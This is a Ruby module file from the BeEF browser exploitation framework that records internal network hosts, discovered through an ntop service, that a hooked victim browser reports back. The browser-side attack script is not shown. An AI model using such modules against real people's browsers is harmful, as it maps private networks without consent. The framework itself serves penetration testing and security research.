Files
beef/modules/network/get_ntop_network_hosts/module.rb
2015-12-15 09:11:26 +00:00

43 lines
1.5 KiB
Ruby

#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_ntop_network_hosts < BeEF::Core::Command
def self.options
return [
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '3000' }
]
end
def post_execute
save({'result' => @datastore['result']})
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&data=(.+)\z/
proto = $1
ip = $2
port = $3
data = $4
session_id = @datastore['beefhook']
type = 'ntop'
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found 'ntop' [proto: #{proto}, ip: #{ip}, port: #{port}]")
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type)
end
data.to_s.scan(/"hostNumIpAddress":"([\d\.]+)"/).flatten.each do |ip|
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found host #{ip}")
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :port => port)
end
end
end
end
end
end